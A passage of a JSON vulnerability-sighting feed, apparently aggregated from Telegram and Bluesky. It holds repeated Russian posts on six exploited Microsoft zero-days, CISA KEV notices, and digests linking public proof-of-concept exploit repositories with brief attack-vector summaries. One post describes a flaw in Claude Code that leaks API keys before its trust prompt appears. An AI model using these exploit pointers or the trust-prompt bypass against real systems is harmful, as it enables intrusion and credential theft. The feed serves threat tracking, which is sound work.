\u0437\u0430\u043a\u0440\u044b\u0432\u0430\u044e\u0442 1-2 \u0430\u043a\u0442\u0438\u0432\u043d\u044b\u0445 0day \u0432 \u043c\u0435\u0441\u044f\u0446.\n\nCVE-2026-21510 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u0430\u044f \u0441\u0441\u044b\u043b\u043a\u0430 \u2014 \u043a\u043e\u0434 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u0431\u0435\u0437 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u0439. \u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043a\u043b\u0438\u043a\u0430\u0435\u0442, SmartScreen \u043c\u043e\u043b\u0447\u0438\u0442, \nCVE-2026-21513 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u0442 MSHTML. HTML \u0447\u0435\u0440\u0435\u0437 email, \u043e\u0434\u0438\u043d \u043a\u043b\u0438\u043a \u2014 welcome.\nCVE-2026-21514 \u043e\u0431\u0445\u043e\u0434\u0438\u0442 OLE \u0437\u0430\u0449\u0438\u0442\u0443 \u0432 Word. Microsoft \u0443\u0436\u0435 \u043f\u0430\u0442\u0447\u0438\u043b\u0430 \u043f\u043e\u0445\u043e\u0436\u0443\u044e CVE-2026-21509 26 \u044f\u043d\u0432\u0430\u0440\u044f. \u0410\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0435 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0438\u043b\u0438 \u0442\u043e\u0442 \u0436\u0435 \u0432\u0435\u043a\u0442\u043e\u0440.\nCVE-2026-21519 \u0432 Desktop Window Manager \u0438 CVE-2026-21533 \u0432 Remote Desktop Services \u2014 \u043a\u043b\u0430\u0441\u0441\u0438\u043a\u0430 elevation of privilege.\nCVE-2026-21525 \u2014 \u0441\u043a\u0440\u043e\u043c\u043d\u044b\u0439 DoS \u0432 Remote Access Connection Manager.\n\nGoogle Threat Intelligence Group \u043d\u0430\u0448\u043b\u0430 \u0442\u0440\u0438: CVE-2026-21510, CVE-2026-21513, CVE-2026-21514. GTIG \u043e\u0445\u043e\u0442\u0438\u0442\u0441\u044f \u043d\u0430 spyware \u0438 state-sponsored APTs. \u041f\u043e\u0445\u043e\u0436\u0435, \u0447\u0442\u043e \u0442\u0443\u0442 \u0432\u0441\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e \u0432 \u0445\u043e\u0434\u0435 \u043e\u0434\u043d\u043e\u0439 \u0438 \u0442\u043e\u0439 \u0436\u0435 \u0430\u0442\u0430\u043a\u0438.\nCrowdStrike \u0432\u044b\u043b\u043e\u0432\u0438\u043b\u0430 CVE-2026-21533, Acros Security \u2014 CVE-2026-21525. \n\nU.S. CISA \u0434\u043e\u0431\u0430\u0432\u0438\u043b\u0430 \u0432\u0441\u0435 \u0448\u0435\u0441\u0442\u044c \u0432 Known Exploited Vulnerabilities catalog \u2014 \u0444\u0435\u0434\u0435\u0440\u0430\u043b\u044c\u043d\u044b\u0435 \u0430\u0433\u0435\u043d\u0442\u0441\u0442\u0432\u0430 \u043e\u0431\u044f\u0437\u0430\u043d\u044b \u043f\u0430\u0442\u0447\u0438\u0442\u044c \u043d\u0435\u043c\u0435\u0434\u043b\u0435\u043d\u043d\u043e.\n\n@gostev_future", "creation_timestamp": "2026-08-20T18:00:03.886111Z"}, {"uuid": "ebca1bd7-6c49-4ce9-9777-c71f0c84cfd9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21962", "type": "seen", "source": "https://bsky.app/profile/cyfar.ca/post/3mu7x7hzqke23", "content": "~Cybergcca~\nCVE-2026-21962 entered CISA KEV; update Oracle, Dell and Chrome products.\n-\nIOCs: CVE-2026-21962\n-\n#CVE-2026-21962 #KEV #ThreatIntel", "creation_timestamp": "2026-08-29T13:10:28.630558Z"}, {"uuid": "82d4ca6f-acf5-4883-9f44-0c00197409ef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21514", "type": "seen", "source": "https://t.me/gostev_future/129", "content": "11 \u0444\u0435\u0432\u0440\u0430\u043b\u044f Microsoft \u043f\u043e\u0440\u0430\u0434\u043e\u0432\u0430\u043b\u0430 \u0438\u043d\u0434\u0443\u0441\u0442\u0440\u0438\u044e \u0444\u0435\u0432\u0440\u0430\u043b\u044c\u0441\u043a\u0438\u043c Patch Tuesday \u043d\u0430 58 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0448\u0435\u0441\u0442\u044c \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u043c\u044b\u0445 zero-day. \u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u043f\u043e\u0432\u0442\u043e\u0440\u0438\u043b\u0430 \u0440\u0435\u043a\u043e\u0440\u0434 \u043c\u0430\u0440\u0442\u0430 2025 \u2014 \u043e\u0431\u044b\u0447\u043d\u043e \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u044e\u0442 1-2 \u0430\u043a\u0442\u0438\u0432\u043d\u044b\u0445 0day \u0432 \u043c\u0435\u0441\u044f\u0446.\n\nCVE-2026-21510 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u0430\u044f \u0441\u0441\u044b\u043b\u043a\u0430 \u2014 \u043a\u043e\u0434 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u0431\u0435\u0437 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u0439. \u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043a\u043b\u0438\u043a\u0430\u0435\u0442, SmartScreen \u043c\u043e\u043b\u0447\u0438\u0442, \nCVE-2026-21513 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u0442 MSHTML. HTML \u0447\u0435\u0440\u0435\u0437 email, \u043e\u0434\u0438\u043d \u043a\u043b\u0438\u043a \u2014 welcome.\nCVE-2026-21514 \u043e\u0431\u0445\u043e\u0434\u0438\u0442 OLE \u0437\u0430\u0449\u0438\u0442\u0443 \u0432 Word. Microsoft \u0443\u0436\u0435 \u043f\u0430\u0442\u0447\u0438\u043b\u0430 \u043f\u043e\u0445\u043e\u0436\u0443\u044e CVE-2026-21509 26 \u044f\u043d\u0432\u0430\u0440\u044f. \u0410\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0435 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0438\u043b\u0438 \u0442\u043e\u0442 \u0436\u0435 \u0432\u0435\u043a\u0442\u043e\u0440.\nCVE-2026-21519 \u0432 Desktop Window Manager \u0438 CVE-2026-21533 \u0432 Remote Desktop Services \u2014 \u043a\u043b\u0430\u0441\u0441\u0438\u043a\u0430 elevation of privilege.\nCVE-2026-21525 \u2014 \u0441\u043a\u0440\u043e\u043c\u043d\u044b\u0439 DoS \u0432 Remote Access Connection Manager.\n\nGoogle Threat Intelligence Group \u043d\u0430\u0448\u043b\u0430 \u0442\u0440\u0438: CVE-2026-21510, CVE-2026-21513, CVE-2026-21514. GTIG \u043e\u0445\u043e\u0442\u0438\u0442\u0441\u044f \u043d\u0430 spyware \u0438 state-sponsored APTs. \u041f\u043e\u0445\u043e\u0436\u0435, \u0447\u0442\u043e \u0442\u0443\u0442 \u0432\u0441\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e \u0432 \u0445\u043e\u0434\u0435 \u043e\u0434\u043d\u043e\u0439 \u0438 \u0442\u043e\u0439 \u0436\u0435 \u0430\u0442\u0430\u043a\u0438.\nCrowdStrike \u0432\u044b\u043b\u043e\u0432\u0438\u043b\u0430 CVE-2026-21533, Acros Security \u2014 CVE-2026-21525. \n\nU.S. CISA \u0434\u043e\u0431\u0430\u0432\u0438\u043b\u0430 \u0432\u0441\u0435 \u0448\u0435\u0441\u0442\u044c \u0432 Known Exploited Vulnerabilities catalog \u2014 \u0444\u0435\u0434\u0435\u0440\u0430\u043b\u044c\u043d\u044b\u0435 \u0430\u0433\u0435\u043d\u0442\u0441\u0442\u0432\u0430 \u043e\u0431\u044f\u0437\u0430\u043d\u044b \u043f\u0430\u0442\u0447\u0438\u0442\u044c \u043d\u0435\u043c\u0435\u0434\u043b\u0435\u043d\u043d\u043e.\n\n@gostev_future", "creation_timestamp": "2026-08-20T18:00:03.927577Z"}, {"uuid": "23ad9e3b-b924-4f06-8bca-954711f582df", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21510", "type": "seen", "source": "https://t.me/gostev_future/129", "content": "11 \u0444\u0435\u0432\u0440\u0430\u043b\u044f Microsoft \u043f\u043e\u0440\u0430\u0434\u043e\u0432\u0430\u043b\u0430 \u0438\u043d\u0434\u0443\u0441\u0442\u0440\u0438\u044e \u0444\u0435\u0432\u0440\u0430\u043b\u044c\u0441\u043a\u0438\u043c Patch Tuesday \u043d\u0430 58 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0448\u0435\u0441\u0442\u044c \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u043c\u044b\u0445 zero-day. \u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u043f\u043e\u0432\u0442\u043e\u0440\u0438\u043b\u0430 \u0440\u0435\u043a\u043e\u0440\u0434 \u043c\u0430\u0440\u0442\u0430 2025 \u2014 \u043e\u0431\u044b\u0447\u043d\u043e \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u044e\u0442 1-2 \u0430\u043a\u0442\u0438\u0432\u043d\u044b\u0445 0day \u0432 \u043c\u0435\u0441\u044f\u0446.\n\nCVE-2026-21510 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u0430\u044f \u0441\u0441\u044b\u043b\u043a\u0430 \u2014 \u043a\u043e\u0434 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u0431\u0435\u0437 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u0439. \u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043a\u043b\u0438\u043a\u0430\u0435\u0442, SmartScreen \u043c\u043e\u043b\u0447\u0438\u0442, \nCVE-2026-21513 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u0442 MSHTML. HTML \u0447\u0435\u0440\u0435\u0437 email, \u043e\u0434\u0438\u043d \u043a\u043b\u0438\u043a \u2014 welcome.\nCVE-2026-21514 \u043e\u0431\u0445\u043e\u0434\u0438\u0442 OLE \u0437\u0430\u0449\u0438\u0442\u0443 \u0432 Word. Microsoft \u0443\u0436\u0435 \u043f\u0430\u0442\u0447\u0438\u043b\u0430 \u043f\u043e\u0445\u043e\u0436\u0443\u044e CVE-2026-21509 26 \u044f\u043d\u0432\u0430\u0440\u044f. \u0410\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0435 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0438\u043b\u0438 \u0442\u043e\u0442 \u0436\u0435 \u0432\u0435\u043a\u0442\u043e\u0440.\nCVE-2026-21519 \u0432 Desktop Window Manager \u0438 CVE-2026-21533 \u0432 Remote Desktop Services \u2014 \u043a\u043b\u0430\u0441\u0441\u0438\u043a\u0430 elevation of privilege.\nCVE-2026-21525 \u2014 \u0441\u043a\u0440\u043e\u043c\u043d\u044b\u0439 DoS \u0432 Remote Access Connection Manager.\n\nGoogle Threat Intelligence Group \u043d\u0430\u0448\u043b\u0430 \u0442\u0440\u0438: CVE-2026-21510, CVE-2026-21513, CVE-2026-21514. GTIG \u043e\u0445\u043e\u0442\u0438\u0442\u0441\u044f \u043d\u0430 spyware \u0438 state-sponsored APTs. \u041f\u043e\u0445\u043e\u0436\u0435, \u0447\u0442\u043e \u0442\u0443\u0442 \u0432\u0441\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e \u0432 \u0445\u043e\u0434\u0435 \u043e\u0434\u043d\u043e\u0439 \u0438 \u0442\u043e\u0439 \u0436\u0435 \u0430\u0442\u0430\u043a\u0438.\nCrowdStrike \u0432\u044b\u043b\u043e\u0432\u0438\u043b\u0430 CVE-2026-21533, Acros Security \u2014 CVE-2026-21525. \n\nU.S. CISA \u0434\u043e\u0431\u0430\u0432\u0438\u043b\u0430 \u0432\u0441\u0435 \u0448\u0435\u0441\u0442\u044c \u0432 Known Exploited Vulnerabilities catalog \u2014 \u0444\u0435\u0434\u0435\u0440\u0430\u043b\u044c\u043d\u044b\u0435 \u0430\u0433\u0435\u043d\u0442\u0441\u0442\u0432\u0430 \u043e\u0431\u044f\u0437\u0430\u043d\u044b \u043f\u0430\u0442\u0447\u0438\u0442\u044c \u043d\u0435\u043c\u0435\u0434\u043b\u0435\u043d\u043d\u043e.\n\n@gostev_future", "creation_timestamp": "2026-08-20T18:00:03.973392Z"}, {"uuid": "efc498d1-0ed0-4589-88e5-577f48ddfb85", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21962", "type": "seen", "source": "https://bsky.app/profile/cyfar.ca/post/3mu7x7sxvmu23", "content": "~Cisa~\nCISA warns of active exploitation of an Oracle HTTP/WebLogic access-control flaw.\n-\nIOCs: CVE-2026-21962\n-\n#CVE202621962 #KEV #ThreatIntel", "creation_timestamp": "2026-08-29T13:10:38.994105Z"}, {"uuid": "dca09397-87ed-4992-85e7-2b5185e60f71", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21513", "type": "seen", "source": "https://t.me/gostev_future/129", "content": "11 \u0444\u0435\u0432\u0440\u0430\u043b\u044f Microsoft \u043f\u043e\u0440\u0430\u0434\u043e\u0432\u0430\u043b\u0430 \u0438\u043d\u0434\u0443\u0441\u0442\u0440\u0438\u044e \u0444\u0435\u0432\u0440\u0430\u043b\u044c\u0441\u043a\u0438\u043c Patch Tuesday \u043d\u0430 58 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0448\u0435\u0441\u0442\u044c \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u043c\u044b\u0445 zero-day. \u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u043f\u043e\u0432\u0442\u043e\u0440\u0438\u043b\u0430 \u0440\u0435\u043a\u043e\u0440\u0434 \u043c\u0430\u0440\u0442\u0430 2025 \u2014 \u043e\u0431\u044b\u0447\u043d\u043e \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u044e\u0442 1-2 \u0430\u043a\u0442\u0438\u0432\u043d\u044b\u0445 0day \u0432 \u043c\u0435\u0441\u044f\u0446.\n\nCVE-2026-21510 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u0430\u044f \u0441\u0441\u044b\u043b\u043a\u0430 \u2014 \u043a\u043e\u0434 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u0431\u0435\u0437 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u0439. \u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043a\u043b\u0438\u043a\u0430\u0435\u0442, SmartScreen \u043c\u043e\u043b\u0447\u0438\u0442, \nCVE-2026-21513 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u0442 MSHTML. HTML \u0447\u0435\u0440\u0435\u0437 email, \u043e\u0434\u0438\u043d \u043a\u043b\u0438\u043a \u2014 welcome.\nCVE-2026-21514 \u043e\u0431\u0445\u043e\u0434\u0438\u0442 OLE \u0437\u0430\u0449\u0438\u0442\u0443 \u0432 Word. Microsoft \u0443\u0436\u0435 \u043f\u0430\u0442\u0447\u0438\u043b\u0430 \u043f\u043e\u0445\u043e\u0436\u0443\u044e CVE-2026-21509 26 \u044f\u043d\u0432\u0430\u0440\u044f. \u0410\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0435 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0438\u043b\u0438 \u0442\u043e\u0442 \u0436\u0435 \u0432\u0435\u043a\u0442\u043e\u0440.\nCVE-2026-21519 \u0432 Desktop Window Manager \u0438 CVE-2026-21533 \u0432 Remote Desktop Services \u2014 \u043a\u043b\u0430\u0441\u0441\u0438\u043a\u0430 elevation of privilege.\nCVE-2026-21525 \u2014 \u0441\u043a\u0440\u043e\u043c\u043d\u044b\u0439 DoS \u0432 Remote Access Connection Manager.\n\nGoogle Threat Intelligence Group \u043d\u0430\u0448\u043b\u0430 \u0442\u0440\u0438: CVE-2026-21510, CVE-2026-21513, CVE-2026-21514. GTIG \u043e\u0445\u043e\u0442\u0438\u0442\u0441\u044f \u043d\u0430 spyware \u0438 state-sponsored APTs. \u041f\u043e\u0445\u043e\u0436\u0435, \u0447\u0442\u043e \u0442\u0443\u0442 \u0432\u0441\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e \u0432 \u0445\u043e\u0434\u0435 \u043e\u0434\u043d\u043e\u0439 \u0438 \u0442\u043e\u0439 \u0436\u0435 \u0430\u0442\u0430\u043a\u0438.\nCrowdStrike \u0432\u044b\u043b\u043e\u0432\u0438\u043b\u0430 CVE-2026-21533, Acros Security \u2014 CVE-2026-21525. \n\nU.S. CISA \u0434\u043e\u0431\u0430\u0432\u0438\u043b\u0430 \u0432\u0441\u0435 \u0448\u0435\u0441\u0442\u044c \u0432 Known Exploited Vulnerabilities catalog \u2014 \u0444\u0435\u0434\u0435\u0440\u0430\u043b\u044c\u043d\u044b\u0435 \u0430\u0433\u0435\u043d\u0442\u0441\u0442\u0432\u0430 \u043e\u0431\u044f\u0437\u0430\u043d\u044b \u043f\u0430\u0442\u0447\u0438\u0442\u044c \u043d\u0435\u043c\u0435\u0434\u043b\u0435\u043d\u043d\u043e.\n\n@gostev_future", "creation_timestamp": "2026-08-20T18:00:04.017488Z"}, {"uuid": "3e0ca562-407b-4859-a4ee-4f30ace90049", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21852", "type": "seen", "source": "https://bsky.app/profile/stupidllm.bsky.social/post/3mtlupmcfqr2a", "content": "CVE-2026-21852: Claude Code processed a repo's ANTHROPIC_BASE_URL override \u2014 and sent live API requests, key included, to that endpoint \u2014 before the workspace trust prompt ever appeared. Just opening a malicious repo was enough. Fixed in 2.0.65. https://www.stupidllm.com/incident/STUPID-2026-0083/", "creation_timestamp": "2026-08-21T13:32:32.513564Z"}, {"uuid": "20fc497b-e2f8-4895-ab85-8352c8b1c311", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21992", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityExploit/30480", "content": "\u26a0\ufe0f CVE / ZERO-DAY\n\ud83d\udd25 New GitHub PoC CVE \u2013 Research Picks (Today / Fresh Only)\nBelow are recent CVE vulnerabilities with publicly available Proof-of-Concept repositories on GitHub, selected for research and analysis.\n\n\u2796\u2796\u2796\u2796\n\n1\ufe0f\u20e3 CVE-2026-2631\n\ud83c\udfaf Enterprise Application Vulnerability \u2013 Public PoC\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/Nxploited/CVE-2026-2631\n\n\ud83e\udde0 Overview\nA Proof-of-Concept is available for CVE-2026-2631, demonstrating exploitation paths related to application-level input handling and system behavior.\n\n\u2699\ufe0f Impact\n\u2022 Application compromise\n\u2022 Potential privilege abuse\n\u2022 Exploitation path analysis\n\n\u2796\u2796\u2796\u2796\n\n2\ufe0f\u20e3 CVE-2026-32941\n\ud83c\udfaf Sliver C2 \u2013 Remote Denial of Service (OOM Crash)\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/skoveit/CVE-2026-32941\n\n\ud83e\udde0 Overview\nA vulnerability in the Sliver C2 framework allows attackers to trigger a remote Out-of-Memory condition by abusing message size handling.\n\n\u2699\ufe0f Impact\n\u2022 Remote denial of service\n\u2022 C2 infrastructure disruption\n\u2022 Operational instability\n\n\u2796\u2796\u2796\u2796\n\n3\ufe0f\u20e3 CVE-2026-3888\n\ud83c\udfaf Application-Level Vulnerability \u2013 PoC Exploit\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/netw0rk7/CVE-2026-3888-PoC\n\n\ud83e\udde0 Overview\nA PoC demonstrating exploitation of an application-layer vulnerability via crafted requests and abnormal input conditions.\n\n\u2699\ufe0f Impact\n\u2022 Service disruption\n\u2022 Input validation bypass\n\u2022 Attack surface expansion\n\n\u2796\u2796\u2796\u2796\n\n4\ufe0f\u20e3 CVE-2026-32746\n\ud83c\udfaf System Vulnerability \u2013 Research PoC\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/jeffaf/cve-2026-32746\n\n\ud83e\udde0 Overview\nThis repository provides a PoC demonstrating potential exploitation paths affecting system-level behavior.\n\n\u2699\ufe0f Impact\n\u2022 System instability\n\u2022 Privilege misuse scenarios\n\u2022 Research and testing value\n\n\u2796\u2796\u2796\u2796\n\n5\ufe0f\u20e3 CVE-2026-21992\n\ud83c\udfaf Web Application Vulnerability \u2013 Exploit PoC\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/TEXploited/CVE-2026-21992\n\n\ud83e\udde0 Overview\nA web-based vulnerability with a PoC demonstrating exploitation through crafted input and request manipulation.\n\n\u2699\ufe0f Impact\n\u2022 Web application compromise\n\u2022 Data exposure\n\u2022 Potential RCE chain\n\n\u2796\u2796\u2796\u2796\n\n\ud83d\udcda Research Value\n\u2022 Exploit behavior analysis\n\u2022 Vulnerability validation\n\u2022 Red team / blue team exercises\n\u2022 Threat intelligence research\n\n\u26a0\ufe0f Notice\nSome CVE-related repositories may be redistributed or reused in different contexts.\nAlways verify PoC code before execution.\n\n\u26a0\ufe0f Ethical Notice\nThis content is shared for cybersecurity research and defensive purposes only.\nDo not use this information for illegal activities.\n\n\ud83e\udde0 Cyber Security Exploit Research Community\nMalware Analysis | Reverse Engineering | CVE Research | Threat Intelligence\n\n\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udd10 Cyber Security Exploit Community\nTelegram Group\nhttps://t.me/Cyber_Security_Exploit\n\nTelegram Channel\nhttps://t.me/CyberSecurityExploit\n\nResearch \u2022 Ethical Hacking \u2022 Red Team", "creation_timestamp": "2026-08-15T11:00:03.460847Z"}, {"uuid": "a8bd3e9f-02a6-40d3-a8d0-ab470db06bcf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21710", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityExploit/30555", "content": "\u26a0\ufe0f CVE / ZERO-DAY\n\ud83d\udd25 New GitHub PoC CVE \u2013 Research Picks (Today / Fresh Only)\nBelow are recent CVE vulnerabilities with publicly available Proof-of-Concept repositories on GitHub, based on the latest observed activity.\n\n\u2796\u2796\u2796\u2796\n\n1\ufe0f\u20e3 CVE-2026-31900\n\ud83c\udfaf GitHub Action (Black) \u2013 Arbitrary Code Execution\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/Batosay1337Lab/CVE-2026-31900\n\n\ud83e\udde0 Overview\nA vulnerability in GitHub Actions using the Black formatter allows attackers to inject malicious repository references via pyproject.toml, leading to arbitrary code execution in CI environments.\n\n\u2699\ufe0f Impact\n\u2022 Arbitrary code execution in CI/CD\n\u2022 Secret leakage risk\n\u2022 Supply chain attack vector\n\n\u2796\u2796\u2796\u2796\n\n2\ufe0f\u20e3 CVE-2026-29598\n\ud83c\udfaf Acora CMS \u2013 Stored XSS\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/padayali-JD/CVE-2026-29598\n\n\ud83e\udde0 Overview\nMultiple stored XSS vulnerabilities allow attackers to inject malicious scripts via user input fields such as first and last name.\n\n\u2699\ufe0f Impact\n\u2022 Stored XSS\n\u2022 Session hijacking\n\u2022 Persistent client-side attacks\n\n\u2796\u2796\u2796\u2796\n\n3\ufe0f\u20e3 CVE-2026-22200\n\ud83c\udfaf osTicket \u2013 Arbitrary File Read via PDF Export\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/Remnant-DB/CVE-2026-22200\n\n\ud83e\udde0 Overview\nA vulnerability in osTicket allows attackers to embed crafted HTML into tickets, which leads to arbitrary file read when exporting to PDF.\n\n\u2699\ufe0f Impact\n\u2022 Sensitive file disclosure\n\u2022 Server-side data leakage\n\u2022 Unauthorized file access\n\n\u2796\u2796\u2796\u2796\n\n4\ufe0f\u20e3 CVE-2026-21710\n\ud83c\udfaf Node.js HTTP Server \u2013 Potential Exploitation Path\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/dajneem23/CVE-2026-21710\n\n\ud83e\udde0 Overview\nA vulnerability affecting Node.js HTTP servers may allow exploitation depending on server configuration and request handling logic.\n\n\u2699\ufe0f Impact\n\u2022 Server-side exploitation\n\u2022 Application instability\n\u2022 Attack surface expansion\n\n\u2796\u2796\u2796\u2796\n\n5\ufe0f\u20e3 CVE-2026-5252\n\ud83c\udfaf Admin Panel \u2013 Cross-Site Scripting (XSS)\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/aydin5245/CVE-2026-5252-CVE-POC-ivanti\n\n\ud83e\udde0 Overview\nA reflected XSS vulnerability allows attackers to execute arbitrary JavaScript through crafted requests targeting message endpoints.\n\n\u2699\ufe0f Impact\n\u2022 Cross-site scripting\n\u2022 Session hijacking\n\u2022 Client-side exploitation\n\n\u2796\u2796\u2796\u2796\n\n\ud83d\udcda Research Value\n\u2022 Real-world PoC validation\n\u2022 CI/CD attack surface analysis\n\u2022 Web vulnerability exploitation patterns\n\u2022 Threat intelligence tracking\n\n\u26a0\ufe0f Important Note\nRecent GitHub trends show increasing risks:\n\u2022 Fake CVE advisories and malicious PoC distribution campaigns targeting developers\n\ud83d\udc49 Always verify PoC code before execution.\n\n\u26a0\ufe0f Ethical Notice\nThis content is shared for cybersecurity research and defensive purposes only.\nDo not use this information for illegal activities.\n\n\ud83e\udde0 Cyber Security Exploit Research Community\nMalware Analysis | Reverse Engineering | CVE Research | Threat Intelligence\n\n\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udd10 Cyber Security Exploit Community\nTelegram Group\nhttps://t.me/Cyber_Security_Exploit\n\nTelegram Channel\nhttps://t.me/CyberSecurityExploit\n\nResearch \u2022 Ethical Hacking \u2022 Red Team", "creation_timestamp": "2026-08-15T11:00:03.735151Z"}, {"uuid": "d77d9213-acb4-48a7-a66e-84c9d7cccda3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21509", "type": "seen", "source": "https://t.me/CyberSecurityExploit/30322", "content": "\u26a0\ufe0f CVE / ZERO-DAY\n\ud83d\udd25 New GitHub PoC CVE \u2013 Research Picks (Today / Fresh Only)\nBelow are recent CVE vulnerabilities with publicly available Proof-of-Concept repositories on GitHub, selected for research and exploit analysis.\n\n\u2796\u2796\u2796\u2796\n\n1\ufe0f\u20e3 CVE-2026-2441\n\ud83c\udfaf Google Chrome Blink \u2013 Use-After-Free (In-the-Wild)\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/b1gchoi/CVE-2026-2441_POC\n\n\ud83e\udde0 Overview\nA use-after-free vulnerability in Chrome\u2019s Blink engine allows attackers to achieve arbitrary code execution within the browser sandbox.\nThe PoC demonstrates memory corruption triggered via crafted CSS and layout processing.\n\n\u2699\ufe0f Impact\n\u2022 Browser sandbox RCE\n\u2022 Confirmed exploitation in the wild\n\u2022 Potential full exploit chain\n\n\u2796\u2796\u2796\u2796\n\n2\ufe0f\u20e3 CVE-2026-1357\n\ud83c\udfaf WordPress WPvivid Plugin \u2013 Unauthenticated RCE\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/cybertechajju/CVE-2026-1357-POC\n\n\ud83e\udde0 Overview\nA critical vulnerability in the WPvivid Backup & Migration plugin allows unauthenticated attackers to upload malicious files and execute code on the server.\n\n\u2699\ufe0f Impact\n\u2022 Unauthenticated remote code execution\n\u2022 Full WordPress site compromise\n\u2022 High severity (critical risk)\n\n\u2796\u2796\u2796\u2796\n\n3\ufe0f\u20e3 CVE-2026-24061\n\ud83c\udfaf GNU 